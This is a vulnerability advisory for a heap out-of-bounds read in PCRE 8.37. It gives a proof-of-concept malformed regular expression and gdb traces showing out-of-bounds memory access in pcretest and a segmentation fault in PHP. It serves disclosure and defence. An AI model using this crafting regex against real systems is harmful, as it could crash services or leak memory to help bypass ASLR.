I. Summary
PCRE library is prone to a vulnerability which leads to Heap Overflow. During subpattern calculation of a malformed regular expression, an offset that is used as an array index is fully controlled and can be large enough so that unexpected heap memory regions are accessed. One could at least exploit this issue to read objects nearby of the affected application's memory. Such information disclosure may also be used to bypass memory protection method such as ASLR.
------------------------------------------------------------------
II. Description
Latest version of PCRE is prone to a Heap Overflow vulnerability which could caused by the following regular expression.
/(?=It_should_be_long_enough_so_that_the_calculation_of_subpattern_triggers_the_memory_reading_out_of_bound.(?<=(?1))|(?=(.))))/
======Following test is conducted under Ubunut 14.10 x64======
$ gdb ./lt-pcretest
(gdb) r
PCRE version 8.37 2015-04-28
re> /(?=It_should_be_long_enough_so_that_the_calculation_of_subpattern_triggers_the_memory_reading_out_of_bound.(?<=(?1))|(?=(.))))/
Breakpoint 1, find_fixedlength (code=code@entry=0x6278a8 "|", utf=<optimized out>, atend=atend@entry=1,
cd=cd@entry=0x7fffffffaf20, recurses=recurses@entry=0x0) at pcre_compile.c:1779
1779 do ce += GET(ce, 1); while (*ce == OP_ALT); /* End subpattern */
(gdb) x/3bx ce
0x6277d1: 0x00 0xf6 0x7d
(gdb) n
1780 if (cc > cs && cc < ce) return -1; /* Recursion */
(gdb) x/wx ce
0x636e4e: 0x00000000
(gdb) info proc mappings
Start Addr End Addr Size Offset objfile
0x60f000 0x63c000 0x2d000 0x0 [heap]
==============================================================
For GET operation, it is 0xf67d to be used as the index number, just like ce=ce[0xf67d].
After GET, ce has already pointed to memory regions out of bound.
The reason why there is no memory violation is that heap memory block happens to be large enough to hold the out of bound accessing.
If we try this with other program wrapped with pcre with different memory layout, say PHP, memory crash will occur.
======Following test is conducted under Ubunut 14.10 x64======
$ gdb ./php
(gdb) r poc.php
Breakpoint 1, find_fixedlength (code=code@entry=0x1035178 "|", utf=0, atend=atend@entry=1, cd=cd@entry=0x7fffffff9710,
recurses=recurses@entry=0x0) at /home/jack/fuzzing/php-5.6.10/ext/pcre/pcrelib/pcre_compile.c:1779
1779 do ce += GET(ce, 1); while (*ce == OP_ALT); /* End subpattern */
(gdb) x/3bx ce
0x10350a1: 0x00 0xf6 0x7d
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
0x000000000045dbb2 in find_fixedlength (code=code@entry=0x1035178 "|", utf=0, atend=atend@entry=1,
cd=cd@entry=0x7fffffff9710, recurses=recurses@entry=0x0)
at /home/jack/fuzzing/php-5.6.10/ext/pcre/pcrelib/pcre_compile.c:1779
1779 do ce += GET(ce, 1); while (*ce == OP_ALT); /* End subpattern */
(gdb) x/wx ce
0x104471e: Cannot access memory at address 0x104471e
(gdb) info proc mappings
Start Addr End Addr Size Offset objfile
0xe9a000 0x1044000 0x1aa000 0x0 [heap]
==============================================================
------------------------------------------------------------------
III. Impact
Heap Overflow
------------------------------------------------------------------
IV. Affected
PCRE version 8.37 is confirmed to be vulnerable.
Other applications may also be affected.
------------------------------------------------------------------
V. Credit
Wen Guanxing from Venustech ADLAB is credited for this vulnerability.